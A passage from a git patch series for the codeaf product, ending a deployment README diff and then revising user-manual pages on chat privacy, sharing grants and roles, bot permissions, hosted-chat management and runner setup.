rebuild that layer; a loose version would keep restoring the cached one. +Docker rebuild that layer; a loose version would keep restoring the cached one. From the published images, change +`ORG_TAG` (see "Published images") and pull instead. ## Secrets -No secret is baked into an image. The AgentField key, the organization token and the model keys come from `.env` -or your environment. A service that is given a key as a mounted file can use `AGENTFIELD_API_KEY_FILE`, -`OPENROUTER_API_KEY_FILE` or `GH_TOKEN_FILE` instead. Treat `.env` like a password file (`setup.sh` writes it -mode 600); it is ignored by git and by the image build. +No secret is baked into an image. The AgentField key, the organization token, the hosted-chats secret, the server key +and the model keys come from `.env` or your environment. SWE-AF, PR-AF and the runner (not `codeaf` or `agentfield`) can be +given a key as a mounted file instead, with `AGENTFIELD_API_KEY_FILE`, `OPENROUTER_API_KEY_FILE` or `GH_TOKEN_FILE`. +Treat `.env` like a password file (`setup.sh` writes it mode 600). The image builds ignore it, but no rule in this +repository keeps it out of git: do not `git add` the folder as a whole, and add `.env` to your own ignore rules. ## Published images @@ -388,6 +448,9 @@ docker compose --env-file .env --env-file images.env up -d --no-build ORG_TAG=<12-character commit id> docker compose --env-file .env --env-file images.env pull # one exact build: how to run it for real ``` +If `pull` says an image is not found, nothing has been published under that name or tag yet (a run of the workflow in a repository +without Docker Hub credentials builds and scans the images and pushes none): build them here instead. + Without `images.env`, `docker compose up -d --build` still builds everything here, as before. **Your own registry.** Set `ORG_REGISTRY` (a Docker Hub namespace or a registry path such as `ghcr.io/my-org`) when you pull. To @@ -444,8 +507,8 @@ tag and digest together. ## Railway -The same Dockerfiles run on Railway as one project: seven services, a volume on each but the model stub, private networking -between them, and a public domain on `codeaf` only. Nothing needs Compose there; each service builds from this repository, on +The same Dockerfiles run on Railway as one project: six services (seven with the keyless model stub), a volume on each but +the model stub, private networking between them, and a public domain on `codeaf` only. Nothing needs Compose there; each service builds from this repository, on Railway's builders. (A Railway template needs images, not a repository: `railway/make-template.sh` makes a draft one from the published images above, without the sessionhost yet. The table below is the configuration by hand. It was followed from an empty project, with the keyless stub, and every service came up healthy: see "Check it" below.) @@ -514,4 +577,7 @@ curl -s -o /dev/null -w '%{http_code}\n' https:///access which only the same Linux or macOS machine can use. A real deployment serves HTTPS on a name. - GitHub sign-in (`CODEAF_GITHUB_CLIENT_ID`) and invitation mail (`CODEAF_SMTP_URL`) are optional and untested here; username and password is the default way in. +- `scripts/serve.sh` writes the organization server's host config from the environment on every start, so a setting with + no variable here, such as `loopback_trust` (always off for this team server; see "Claim the organization"), cannot be + changed in this stack, and a hand edit of the file is replaced. - One replica of each service; no high availability. From 2741886f5af050837f87cb470fef20364285c3bd Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:07:11 -0500 Subject: [PATCH 105/176] manual: pages that were false after private-by-default, manage and the app door A chat moved into a workstream stays as private as it was and is listed only to people it is shared with, not to the workstream; a grant on a private chat, Afi's pane or a hosted chat reaches the people it names and nobody else; stopping or deleting a hosted chat needs the manage permission, not only ownership; a bot starts hosted chats only where the policy lets agents create, and only reads My space and the lists; the operator sees a private chat only when the policy says so; removing a person stops their bots; a hosted chat is shared by a grant, not by moving it, and its spend lands in My space under the owner's own key too; a chat's task on an organization's server does not start by itself; Afi's pane can be shared read only; an organization's runner starts without GitHub; the AgentField examples name the node swe-planner. Co-Authored-By: Claude Sonnet 5.5 --- internal/manual/chat/factory-agentfield.md | 15 +++++++-------- internal/manual/chat/factory.md | 4 ++-- internal/manual/chat/inviting-people.md | 2 +- internal/manual/chat/my-space.md | 6 +++--- .../manual/chat/organization-hosted-sessions.md | 12 ++++++------ internal/manual/chat/organization-library.md | 2 +- internal/manual/chat/organization-sharing.md | 8 ++++---- internal/manual/chat/organization-start.md | 2 +- .../manual/chat/organization-workstream-agent.md | 4 ++-- .../manual/chat/organization-workstream-tasks.md | 2 +- .../manual/chat/workstream-chats-and-tools.md | 12 ++++++------ .../manual/chat/workstream-people-and-rules.md | 2 +- 12 files changed, 35 insertions(+), 36 deletions(-) diff --git a/internal/manual/chat/factory-agentfield.md b/internal/manual/chat/factory-agentfield.md index d948b2e653..77b8995d38 100644 --- a/internal/manual/chat/factory-agentfield.md +++ b/internal/manual/chat/factory-agentfield.md @@ -479,7 +479,7 @@ steps: build: label: Build on AgentField kind: agentfield - target: planner.build_issue + target: swe-planner.build_issue input: title: "{title}" body: "{body}" @@ -521,7 +521,7 @@ pipeline: steps: build: kind: agentfield - target: planner.build_issue + target: swe-planner.build_issue input: title: "{title}" repo_url: "{repo_url}" @@ -799,12 +799,11 @@ does every question of a job in Manual. - Only the factory on this machine connects; a team factory (`codeaf factory serve`) does not run the node. -- The runner still needs GitHub, even when every job comes from AgentField. - Turning it on without a GitHub sign-in is refused with "connect GitHub - before turning the runner on: the factory needs to know whose jobs these - are": every job the runner takes is held under a person's GitHub login. - AgentField entries are still filed while the runner is off, and are routed - and started once it is on. +- The runner on this machine starts without GitHub, as `this-computer`, but + what needs GitHub waits: reading issues, cloning a repository it has no + checkout of and opening a pull request (see "the runner without GitHub"). A + runner of a team factory still runs as a named person. AgentField entries are + still filed while the runner is off, and are routed and started once it is on. - No DID or verifiable-credential signing: the node does not sign or check AgentField DIDs; the link's key and the HTTP bearer are its protection, and both are the control plane's global values, not one per node. diff --git a/internal/manual/chat/factory.md b/internal/manual/chat/factory.md index 220cccf496..c29db8fe90 100644 --- a/internal/manual/chat/factory.md +++ b/internal/manual/chat/factory.md @@ -249,7 +249,7 @@ The config keys are `name`, `listen`, `access_token`, `repos` (a list of `owner/ On a single-person factory (`mode: solo`, and a window's own service) a request from the same computer with no sign-in is taken to be its owner: that is how the terminal and the desktop reach their own factory. On a team factory it is not. An organization's server never treats a request as a person because of where it came from: every request carries an identity, a person's token or sign-in, or a bot's token. A request from 127.0.0.1 with none is refused with the same 401 as one from another computer, so a reverse proxy, a container's health probe or a script on the server's own machine cannot act as the machine's owner. -The config key `loopback_trust` sets this. Unset, it is `true` in solo mode and `false` in team mode. A team factory that really is used by one person at one computer can set `loopback_trust: true` and gets the old behaviour back. It never makes a forwarded request local: a request that arrives through a proxy carrying `X-Forwarded-For`, `Forwarded` or `X-Real-Ip` is not treated as coming from this computer, whatever the key says, unless a proxy listed in `trusted_proxies` names a loopback caller in `X-Forwarded-For`. `/v1/about` and the sign-in routes stay open. Registering a runner follows the same setting: on a team factory with it off, a runner on the server's own computer needs a runner credential like any remote one, the factory's access token or a signed-in person's session (`codeaf runner join ` or `--token`), and must name its handle unless its session does; the factory's own person never stands in for a runner that names none. On a solo factory nothing changes. +The config key `loopback_trust` sets this. Unset, it is `true` in solo mode and `false` in team mode. A team factory that really is used by one person at one computer can set `loopback_trust: true` and gets the old behaviour back. It never makes a forwarded request local: a request that arrives through a proxy carrying `X-Forwarded-For`, `X-Forwarded-Proto`, `Forwarded` or `X-Real-Ip` is not treated as coming from this computer, whatever the key says, unless a proxy listed in `trusted_proxies` names a loopback caller in `X-Forwarded-For`. `/v1/about` and the sign-in routes stay open. Registering a runner follows the same setting: on a team factory with it off, a runner on the server's own computer needs a runner credential like any remote one, the factory's access token or a signed-in person's session (`codeaf runner join ` or `--token`), and must name its handle unless its session does; the factory's own person never stands in for a runner that names none. On a solo factory nothing changes. ## GitHub rate limit on a team factory — "GitHub is rate-limited until", github_limited, operator access link after the reset @@ -259,7 +259,7 @@ The operator access link of a fresh team factory is printed at once: it is not n ## join an organization — an invite link, joining a factory, where Factory settings went in the desktop app -A person joins an **organization**, never Factory on its own. An organization is one server (`codeaf factory serve`), and joining it brings everything it holds at once: its workstreams, canvases, chats, teams and Factory's jobs and pipelines. There is no separate step to connect or join Factory; in an organization, Factory is just there, as one of its places. +A person joins an **organization**, never Factory on its own. An organization is one server (`codeaf factory serve`), and joining it brings what it holds at once: its workstreams, canvases, teams and Factory's jobs and pipelines, and the chats shared with you (a chat is private to its owner until it is shared). There is no separate step to connect or join Factory; in an organization, Factory is just there, as one of its places. In the desktop app there are three ways in, and all three open the same **Join an organization** page: diff --git a/internal/manual/chat/inviting-people.md b/internal/manual/chat/inviting-people.md index 41edafab46..67e2aaeab3 100644 --- a/internal/manual/chat/inviting-people.md +++ b/internal/manual/chat/inviting-people.md @@ -49,7 +49,7 @@ After joining through the link and signing in, a person lands on their organizat ## remove someone from the organization — Remove from, sign-ins ended, work offered to the admin -In the People table, a joined person's menu has **Remove from …**. Removing someone takes them off the People table, ends their sign-ins, takes them out of every team and every workstream, and gives the workstreams they owned to you. The tasks they owned are **offered to you to hand over**: they arrive in your **Handed to you**, marked as handed over by them, so nothing is left without an owner. +In the People table, a joined person's menu has **Remove from …**. Removing someone takes them off the People table, ends their sign-ins and stops their bots, takes them out of every team and every workstream, and gives the workstreams they owned to you. The tasks they owned are **offered to you to hand over**: they arrive in your **Handed to you**, marked as handed over by them, so nothing is left without an owner. ## Teams — a group you add to a workstream in one step diff --git a/internal/manual/chat/my-space.md b/internal/manual/chat/my-space.md index ae4337d074..541cd9df0a 100644 --- a/internal/manual/chat/my-space.md +++ b/internal/manual/chat/my-space.md @@ -10,17 +10,17 @@ My space is not Personal. Personal is your life outside any organization and liv My space holds documents and files, canvases, chats, and your own agents (its Agents tab; see "Making my own agent in an organization"). It holds no tasks: a task is a promise other people can see, so it belongs in a workstream. Asking for a task in My space is refused with "My space holds no tasks: a task belongs in a workstream, where others can see it." -My space cannot be shared, handed to someone else, renamed, archived or deleted, and no workstream can sit inside it. To share something you made there, move it into a workstream (below). +My space cannot be shared, handed to someone else, renamed, archived or deleted, and no workstream can sit inside it. To share a document or file you made there, move it into a workstream (below); a chat is shared by a grant instead (see "Can I share a chat, a canvas or a workstream with a teammate"), because moving a chat does not share it. ## Chats in an organization run on the organization's server In an organization window, New chat starts a chat in My space. It runs on the organization's server, never on this computer: close the laptop mid-answer and the chat finishes anyway, with what it made waiting in My space when you come back. It uses the organization's model key and the model the organization chose. -A chat in My space is private to you, like Afi's pane: nobody else lists or reads it, its name included. (A chat started inside a workstream is private the same way: its name, its owner and its state are listed to other people only after you share it, and never what is said.) Its title is its first message's first line. What the agent writes into documents and canvases lands in My space. +A chat in My space is private to you, like Afi's pane: nobody else lists or reads it, its name included, unless you share it. (A chat started inside a workstream is private the same way: its name, its owner and its state are listed to other people only after you share it, and never what is said.) Its title is its first message's first line. What the agent writes into documents and canvases lands in My space. ## Who pays for My space — the organization, under your name, up to a monthly limit -Everything My space spends is paid with the organization's key and recorded under your name. The operator sets one monthly limit for everyone's space in Settings › Organizations (it starts at $20). When your space reaches it, its chats stop taking messages and say "Paused: this month's limit for your space is reached." It starts again on the first of the next month (UTC), or sooner if the operator raises the limit. Work in workstreams is not affected; it runs under each workstream's own budget. +Everything My space spends is recorded under your name, and is paid with the organization's key (or with your own, for a hosted chat when you have stored one). The operator sets one monthly limit for everyone's space in Settings › Organizations (it starts at $20). When your space reaches it, its chats stop taking messages and say "Paused: this month's limit for your space is reached." It starts again on the first of the next month (UTC), or sooner if the operator raises the limit. Work in workstreams is not affected; it runs under each workstream's own budget. ## What the organization's admin can see of my space — totals only diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 7c3f3d06bd..5d5772790f 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -40,7 +40,7 @@ The organization's operator keeps the machine and its disk. See *what can the op ## can other people on the server see my hosted chats — private by default, shared only when you share it, and anyone else gets `There is no such chat.` -A hosted chat is private to the person who made it, unless the organization's policy makes chats of this kind start otherwise (the policy's default for `session`). A private chat is left out of every other person's list and out of the organization's live updates: nobody else is told it exists, who owns it or what state it is in, and that includes the operator. Someone else who asks for it, to open it, list it, stop it or delete it, gets the same answer as for a chat that was never made, `There is no such chat.` +A hosted chat is private to the person who made it, unless the organization's policy makes chats of this kind start otherwise (the policy's default for `session`). A private chat is left out of every other person's list and out of the organization's live updates: nobody else is told it exists, who owns it or what state it is in, and that includes the operator unless the policy says the operator sees private things (see *can the operator open my hosted chat*). Someone else who asks for it, to open it, list it, stop it or delete it, gets the same answer as for a chat that was never made, `There is no such chat.` You can share a chat with a person, a team or the whole organization the way you share anything else (`POST /v1/resources/session//grants` with who and a role; see *Sharing*). Once you do, it shows up in that person's `shared` list. Taking the access away takes it off their list again, and cuts them off if they are watching it at that moment: see *what can someone I shared my hosted chat with do*. @@ -63,11 +63,11 @@ A chat shared with you opens with `codeaf chat --org --session hs_...`, - **answer**: also answer a question the chat is waiting on. - **run** (the `edit` and `full` roles have it): also send messages, files and images, and run a command the chat's own way, as the chat's owner would. -Everything else stays with the owner whatever role a person holds: approving a command, changing a setting, opening the chat's files, stopping the chat. A command that needs approval waits for the owner. +Everything else on the chat's wire stays with the owner whatever role a person holds: approving a command, changing a setting, opening the chat's files, stopping its work. A command that needs approval waits for the owner. Stopping or deleting the chat itself is a separate door that needs the `manage` permission, which the `full` role holds: see *stop or delete a chat on the server*. ## what happens when I give someone run access to my hosted chat — they act with my GitHub identity, files and spending limits -**A person you let send messages acts with your GitHub identity, your files and your spending limits.** The chat is yours: its commands run in your folder on the server, as your user, with your model access, and its git goes through your GitHub access, whoever typed the message. What it costs is yours too (see *who pays*), against your chat limit and month. The server notes who asked on each message, on each charge and on each use of your GitHub access, so you can read it afterwards. If you would rather nobody else sends messages, share at view or steer, or ask the operator to take `run` out of the roles in the organization's policy: nothing else needs to change. +**A person you let send messages acts with your GitHub identity, your files and your spending limits.** The chat is yours: its commands run in your folder on the server, as your user, with your model access, and its git goes through your GitHub access, whoever typed the message. What it costs is yours too (see *who pays*), against your chat limit and month. The server notes who asked on each message, on each charge and on each use of your GitHub access, so you can read it afterwards. If you would rather nobody else sends messages, share at `view` or `comment`, which do not hold `run`, or ask the operator to take `run` out of the roles in the organization's policy: nothing else needs to change. ## why was I refused in a shared hosted chat — the sentences, the keyboard and a removed share @@ -85,11 +85,11 @@ A shared chat always runs in the owner's folder on the machine, with the owner's ## can the operator open my hosted chat — only metadata, and only if the policy makes the chat visible -The operator holds no right on a private chat: it is refused with `There is no such chat.` and is not told the chat exists. When the policy makes new chats not private, the operator's list shows the chat's identifier, owner, state and times and nothing else, and the operator still cannot open it, read its history or see its folder. Whoever runs the machine itself is another matter: see *what can the operator of the server see*. +By default the operator holds no right on a private chat: it is refused with `There is no such chat.` and is not told the chat exists. When the policy makes new chats not private, or says the operator sees private things, the operator's list shows the chat's identifier, owner, state and times and nothing else, and the operator still cannot open it, read its history or see its folder. Whoever runs the machine itself is another matter: see *what can the operator of the server see*. ## bots and hosted chats — what a bot may do with a chat, and what it may not -A bot (see *Bots*) can start, list, open, stop and delete hosted chats, and it holds exactly what the person who made it holds on each chat right now, narrowed by its scope. If that person loses access to someone else's chat, the bot loses it on its very next request, and an open window of the bot's is ended within a heartbeat. A chat the bot starts is owned by that person and recorded as made by the bot. A bot cannot touch a person's stored keys (`/v1/hosted/keys`): that answers `a bot cannot use this yet`. A bot that holds the `run` verb on its creator's own chat can type into it, as its creator would; a bot whose scope leaves `run` out is treated like a guest. On someone else's chat a bot gets what its creator's role gives, and no more. +A bot (see *Bots*) can start (when the organization's policy lets agents create things), list, open, stop and delete hosted chats, and it holds exactly what the person who made it holds on each chat right now, narrowed by its scope. If that person loses access to someone else's chat, the bot loses it on its very next request, and an open window of the bot's is ended within a heartbeat. A chat the bot starts is owned by that person and recorded as made by the bot. A bot cannot touch a person's stored keys (`/v1/hosted/keys`): that answers `a bot cannot use this yet`. A bot that holds the `run` verb on its creator's own chat can type into it, as its creator would; a bot whose scope leaves `run` out is treated like a guest. On someone else's chat a bot gets what its creator's role gives, and no more. ## may I still start a chat on my own computer after joining an organization — the hosting policy @@ -126,7 +126,7 @@ Stopping a chat ends every process it started, including ones that detached them Deleting a chat does the same and then removes its folder. Afterwards it is gone: `There is no such chat.` -Both are done through the organization's server by its owner, and only its owner. Neither affects another chat. +Both are done through the organization's server by its owner, or by someone who holds the `manage` permission on the chat (the `full` role). Anyone else who can see the chat reads `Only the owner of this chat can stop or delete it.`, and anyone who cannot reads `There is no such chat.` Neither affects another chat. ## the server says it cannot keep my chat apart — hosted chat refusals diff --git a/internal/manual/chat/organization-library.md b/internal/manual/chat/organization-library.md index 396b574385..9f3cbf4885 100644 --- a/internal/manual/chat/organization-library.md +++ b/internal/manual/chat/organization-library.md @@ -26,7 +26,7 @@ The organization's activity says that a document was added, changed or removed, ## How chats in an organization use the Library — org_library -Every chat the organization's server runs (Afi in a workstream, your chats there and in My space, and a named agent) carries the `org_library` tool. It searches the Library by words, or reads one document whole, a long one in parts. The chat reads a document as reference, never as instructions, and says which document it used. +Every conversation the organization's server keeps with its agent (Afi in a workstream, your chats there and in My space, and a named agent) carries the `org_library` tool. A hosted chat does not. It searches the Library by words, or reads one document whole, a long one in parts. The chat reads a document as reference, never as instructions, and says which document it used. `org_library` only reads. Asked to put something in the Library, a chat says to choose **Add to Library** in the document's menu, or **Add files** on the Library's home. diff --git a/internal/manual/chat/organization-sharing.md b/internal/manual/chat/organization-sharing.md index d9ab0ccee1..038399250a 100644 --- a/internal/manual/chat/organization-sharing.md +++ b/internal/manual/chat/organization-sharing.md @@ -6,7 +6,7 @@ On an organization's server, anything that can be shared is shared by a **grant* The organization's server can grant a role on a workstream, a canvas, a chat, and Afi's pane or a task's working conversation (see "Afi's pane and a task's working conversation as sessions"). Only someone who holds **share** on the thing may add a grant, and only up to what they hold themselves: a person who can only edit cannot hand someone else "full". Before it is added, the server can say who would gain or lose access, and the person sees that first. -**The desktop app has no sharing buttons for chats yet.** Today the grants are reached through the organization's server itself; nothing in the chat window offers them. Until someone shares one, nothing changes: a chat in My space or in a workstream stays private to you, as "A chat inside a workstream is private" says. +**The desktop app has no sharing buttons for chats yet.** Today the grants are reached through the organization's server itself; nothing in the chat window offers them. Until someone shares one, nothing changes: a chat in My space or in a workstream stays private to you, as "Are chats private by default" says. ## What view, comment, edit and full let someone do — roles and verbs @@ -19,7 +19,7 @@ A role is a named bundle of **verbs**. The verbs are fixed: view, comment, edit, | edit | view, comment, edit, run, steer, answer | | full | all eight, so also share and manage | -The owner of a thing holds full on it. A person who reaches a thing in two ways (a share and a team grant, say) holds the verbs of both. A thing marked private is its owner's alone: shares and grants on it give nothing. Nobody holds "admin" on a thing; admin is the operator's word for the app, not a verb. +The owner of a thing holds full on it. A person who reaches a thing in two ways (a share and a team grant, say) holds the verbs of both. A workstream or canvas marked private is its owner's alone: shares and grants on it give nothing, and a grant on it is refused until it is made not private. A private chat (or Afi's pane, or a hosted chat) is different: a grant on it reaches the people it names and nobody else; the workstream's people stay out, and so does the operator unless the policy lets it see private things. Nobody holds "admin" on a thing; admin is the operator's word for the app, not a verb. ## Are chats private by default — can other people in a workstream see my chat's name, owner or state @@ -33,7 +33,7 @@ A person can make a **bot**: a named identity with its own token, for a script o A bot is never more than the person who made it. On every request it holds what its creator holds on that thing right now, narrowed by the organization policy's scope for agents (`agents.scopes` for `bot:`, else the default scope) and by the scope the person gave it when making it (a role name from the policy). When its creator loses a share, the bot loses it on its next request. When the operator removes its creator from the organization, the creator's bots stop at once, and stay stopped if that person is added again. Nothing is copied: no grant ever names a bot. -What a bot makes belongs to its creator: a chat, a task or a file it creates is owned by the person who made the bot and recorded as made by the bot, and a chat is private like any other chat until it is shared. A bot cannot make bots, mint or revoke tokens, sign in as a person, use the operator's routes or the event stream, or start an agent run (messaging a chat's agent): those answer "a bot cannot use this yet", or "a bot cannot start an agent run yet". It reaches workstreams and what is in them, canvases, shared resources, My space, and the policy and people lists. A bot can also start, list, open, stop and delete hosted chats on the organization's server, as its creator, and cannot touch a person's stored keys there: see *bots and hosted chats*. A revoked, removed or switched-off token is refused with 401 and words that say which, and is never tried as a request from the server's own computer. +What a bot makes belongs to its creator: a chat, a task or a file it creates is owned by the person who made the bot and recorded as made by the bot, and a chat is private like any other chat until it is shared. A bot cannot make bots, mint or revoke tokens, sign in as a person, use the operator's routes or the event stream, or start an agent run (messaging a chat's agent): those answer "a bot cannot use this yet", or "a bot cannot start an agent run yet". It reaches workstreams and what is in them, canvases and shared resources, and only reads My space and the policy and people lists. A bot can also start, list, open, stop and delete hosted chats on the organization's server, as its creator, and cannot touch a person's stored keys there: see *bots and hosted chats*. A revoked, removed or switched-off token is refused with 401 and words that say which, and is never tried as a request from the server's own computer. ## Who sets the sharing rules — the operator's organization policy @@ -51,7 +51,7 @@ Reading changes nothing: it does not mark the chat as touched, start its agent, A **move** changes where a chat lives, and so who can reach it; a **share** only adds or removes people. A chat's lines are kept under its workstream and its person, so a move relocates that folder: the chat keeps every line and is listed in its new place, and the old place no longer has it. -Only the person whose chat it is can move it, to a workstream they can edit or to their own My space; another person's space is never an option. Moving a chat to where it already is is refused with "it is already there". A chat that is answering a message cannot move: "stop it or wait for it to finish, then move it". Moving into My space makes it private again and drops the grants that were on it; the move says which ones. Moving into a workstream keeps its privacy and its grants. From then on the destination's rules apply: its budget pays for the chat's next messages, and a chat whose named agent the destination does not list still reads but takes no more messages ("start a new chat"). A move tells everyone who could see the chat before or after it, once. In a workstream shared with other people the server's chat list has always carried each member's chats' title, owner and state, so a chat moved in appears there for the workstream's people; only what was said stays its owner's. +Only the person whose chat it is can move it, to a workstream they can edit or to their own My space; another person's space is never an option. Moving a chat to where it already is is refused with "it is already there". A chat that is answering a message cannot move: "stop it or wait for it to finish, then move it". Moving into My space makes it private again and drops the grants that were on it; the move says which ones. Moving into a workstream keeps its privacy and its grants. From then on the destination's rules apply: its budget pays for the chat's next messages, and a chat whose named agent the destination does not list still reads but takes no more messages ("start a new chat"). A move tells everyone who could see the chat before or after it, once. A chat moved into a shared workstream is as private as it was, so it appears in the workstream people's list only for those it has been shared with, as "Are chats private by default" says; what was said stays its owner's, apart from the read-only transcript of anyone it is shared with. Pages and files do not move this way: they keep **Move to workstream…** (see "Moving a document from My space into a workstream"). Afi's pane and a task's working conversation belong to their workstream and cannot be moved. diff --git a/internal/manual/chat/organization-start.md b/internal/manual/chat/organization-start.md index 80ca24fc72..892a069858 100644 --- a/internal/manual/chat/organization-start.md +++ b/internal/manual/chat/organization-start.md @@ -14,7 +14,7 @@ The name and the line are kept on the organization's server. Every Afi in the or ## start or open a chat in your organization's desktop window -When the organization has enabled hosted chats, open its window in the desktop app to start a chat there or reopen one from the window's chat list. Your conversation and the work it runs stay on the organization's server. Closing the window leaves the chat running there. See [Chats that run on the organization's server](organization-hosted-sessions.md) for sharing, sign-in and limits. +When the organization has enabled hosted chats, open its window in the desktop app to start a chat there or reopen one from the window's chat list, which also lists chats the server has shared with you. Your conversation and the work it runs stay on the organization's server. Closing the window leaves the chat running there. Personal shows the chats on your computer. See [Chats that run on the organization's server](organization-hosted-sessions.md) for sharing, sign-in and limits. ## Afi sets up the organization — one card, workstreams, teams and invites in one press diff --git a/internal/manual/chat/organization-workstream-agent.md b/internal/manual/chat/organization-workstream-agent.md index 0ec1a30779..54d39e91e6 100644 --- a/internal/manual/chat/organization-workstream-agent.md +++ b/internal/manual/chat/organization-workstream-agent.md @@ -23,7 +23,7 @@ Over the wire: `GET /v1/org/keys`, `PUT /v1/org/keys/openrouter {"key"}`, `DELET ## talking to the server's workstream agent — private to you, who can talk, one message at a time, stop it -In `server` mode a workstream's Afi pane is private to you: you have your own conversation with the server's agent, and nobody else in the workstream reads it, not your colleagues and not the operator. Its memory is yours too, so it does not repeat what someone else told it. What it does to shared things is visible to everyone as those things: the tasks it makes, the files and documents it writes, the decisions it suggests, and one line on a task when your private request changed it ("Priya asked Afi to keep it under 300 words"). +In `server` mode a workstream's Afi pane is private to you: you have your own conversation with the server's agent, and nobody else in the workstream reads it unless you share it (read only), not your colleagues and not the operator. Its memory is yours too, so it does not repeat what someone else told it. What it does to shared things is visible to everyone as those things: the tasks it makes, the files and documents it writes, and one line on a task when your private request changed it ("Priya asked Afi to keep it under 300 words"). People who can edit the workstream talk to it; people who can only view it have no composer. It answers one of your messages at a time: a second while it works is refused with "the agent is still answering your last message; wait for it, or stop it". Someone else's conversation never makes yours wait. Only you can stop yours; it then says "Stopped.". @@ -33,7 +33,7 @@ What it spends is posted to the workstream under the person whose message it ans ## what the server's workstream agent can and cannot do — tasks, files, documents, canvases, no shell, no repository -On the server the agent, Afi, carries `workstream_pages`, the workstream tools (`ws_tasks`, `ws_task_create`, `ws_task_update`, `ws_task_comment`, `ws_files`, `ws_file_read`, `ws_file_create`, `ws_file_suggest`, `ws_file_comment`; the document about chats inside a workstream says what each does) and, on a server that keeps canvases, `ws_canvas`, which draws the workstream's canvases (the section on Afi drawing a canvas says how). So when you ask it to "turn these asks into tasks", it makes real tasks in the Tasks tab, not documents titled "Task: …", and it reads Tasks before it says who is doing what or what is waiting on you. +On the server the agent, Afi, carries `workstream_pages`, the workstream tools (`ws_tasks`, `ws_decisions`, `ws_task_create`, `ws_task_update`, `ws_task_comment`, `ws_files`, `ws_file_read`, `ws_file_create`, `ws_file_suggest`, `ws_file_comment`; the document about chats inside a workstream says what each does) and, on a server that keeps canvases, `ws_canvas`, which draws the workstream's canvases (the section on Afi drawing a canvas says how). So when you ask it to "turn these asks into tasks", it makes real tasks in the Tasks tab, not documents titled "Task: …", and it reads Tasks before it says who is doing what or what is waiting on you. With `workstream_pages` it reads the workstream (name, purpose, budget, documents, decisions, sources and links), reads or writes one document, or makes a new document. It does not propose decisions: a decision records itself when an Ask is answered, and nothing waits for a Keep. diff --git a/internal/manual/chat/organization-workstream-tasks.md b/internal/manual/chat/organization-workstream-tasks.md index 7fe3ff52ca..bde7a16131 100644 --- a/internal/manual/chat/organization-workstream-tasks.md +++ b/internal/manual/chat/organization-workstream-tasks.md @@ -250,7 +250,7 @@ A task Afi or a chat does that depends on other tasks **starts automatically** o - **Each task** that depends on others says on its facts line "Starts when ready" or "Waits for you to start". Click it to pick the other; the thread records who did. Only the task's owner, or whoever looks after the workstream, can change it ("only the task's owner or whoever looks after this workstream can say whether it starts by itself"). Picking "Starts when ready" on a task that is already ready starts it at once. - **A plan** (five or more tasks from one request) holds for its Start. Pressing Start is consent for the whole plan: what it releases afterwards starts without another click, even with the Settings switch off. A task set to hold still wins. - **Nothing else changes.** An Ask on the task, the workstream's spending rule ("Start without asking") and the decision check still pause it. A task done by a person is never started for them; it lands in that person's list and Due. A Factory task starts at the Factory. -- **Where it runs.** On Personal this computer wakes the doer while codeaf is open (a doer mid-turn gets it when the turn ends). On an organization the server starts an Afi task with the rights of whoever finished the work it depended on; a chat's task there starts from that chat. +- **Where it runs.** On Personal this computer wakes the doer while codeaf is open (a doer mid-turn gets it when the turn ends). On an organization the server starts an Afi task with the rights of whoever finished the work it depended on; a chat's task there does not start by itself, it stays in Up next with "Ready to start" until someone presses Start, and Start runs it on the server. ## Start — why a task Afi, an agent or a chat does stays in Up next, Mark done, I pressed Start but the chat was busy diff --git a/internal/manual/chat/workstream-chats-and-tools.md b/internal/manual/chat/workstream-chats-and-tools.md index 6695093921..54fbc156c9 100644 --- a/internal/manual/chat/workstream-chats-and-tools.md +++ b/internal/manual/chat/workstream-chats-and-tools.md @@ -2,11 +2,11 @@ ## a chat inside a workstream is private — what is private and what is shared, can others see my chat's name -Use **New chat** in the Chats header to open a private conversation. What you and the chat say stays private to you. Its tasks and files are shared in the workstream. The Chats tab lists only your own chats; it does not show other people's chats. The organization's server lists a chat to anyone else only after it is shared with them (see "Are chats private by default" in the organization sharing page); until then not even its name leaves you, and the operator does not see it either. +Use **New chat** in the Chats header to open a private conversation. What you and the chat say stays private to you. Its tasks and files are shared in the workstream. The Chats tab lists your own chats; another person's chat appears there only once they share it with you. The organization's server lists a chat to anyone else only after it is shared with them (see "Are chats private by default" in the organization sharing page); until then not even its name leaves you, and the operator does not see it either. | What | Who sees it | | --- | --- | -| What you and a chat say to each other, and its Asks | you only | +| What you and a chat say to each other, and its Asks | you only; on an organization's server, also anyone you share the chat with, to read | | A chat's name, owner and state in Chats | you, and the people you share the chat with | | The tasks and files a chat makes | everyone in the workstream | | One line on a task when your private request changed it | everyone in the workstream | @@ -14,7 +14,7 @@ Use **New chat** in the Chats header to open a private conversation. What you an Afi's pane is private to you on a Personal workstream. On an organization, read its header: "Private to you" means the server keeps your conversation apart; "Everyone in sees this" means an older server keeps a shared conversation. Anything on a task or a file is shared. -On an organization's server, the owner of a chat can later share it read only with someone or move it to another workstream or back to My space, and the operator's policy can make new chats visible beyond the owner; none of that happens unless someone does it. "Sharing and moving in an organization" says how. +On an organization's server, the owner of a chat can later share it read only with someone or move it to another workstream or back to My space, and the operator's policy can make new chats visible beyond the owner; none of that happens unless someone does it. "Sharing and moving in an organization" says how. A hosted chat, which runs on the organization's own machine and is not part of a workstream, can be shared for more than reading: see "Chats that run on the organization's server". ## the Chats tab — Waiting on you, Working, Resting, New chat @@ -34,13 +34,13 @@ A click on a chat opens it in place, inside the Chats tab, with its own box. Ope Yes, yours, and nobody else's. Inside a Personal workstream, Afi carries one more tool than the chats do: `ws_chats`. With it Afi lists your chats in that workstream (each one's name, whether it is waiting on you, working or resting, and its latest line) and reads what was said in one lately. Ask Afi "what is Launch post doing?" or "which of my chats needs me?" and it reads them to answer. -Your teammates and their Afi cannot read your chat messages. Others see the tasks and files a chat made, never its messages. Afi does not copy what it reads there into a task, a comment or a file; the one line a private request leaves on a task is still the only trace. +Your teammates cannot read your chat messages unless you share that chat with them on an organization's server, and then only to read; their Afi never reads them. Others see the tasks and files a chat made, never its messages. Afi does not copy what it reads there into a task, a comment or a file; the one line a private request leaves on a task is still the only trace. On an organization's workstream Afi does not have `ws_chats`: it never reads your chats there. ## Can I start a chat in an organization's workstream — yes, on the organization's server -When the organization's server keeps people's chats (one that also gives you My space), an organization's Chats tab starts chats like a Personal one. Each runs on the organization's server, never on this computer, is private to you in 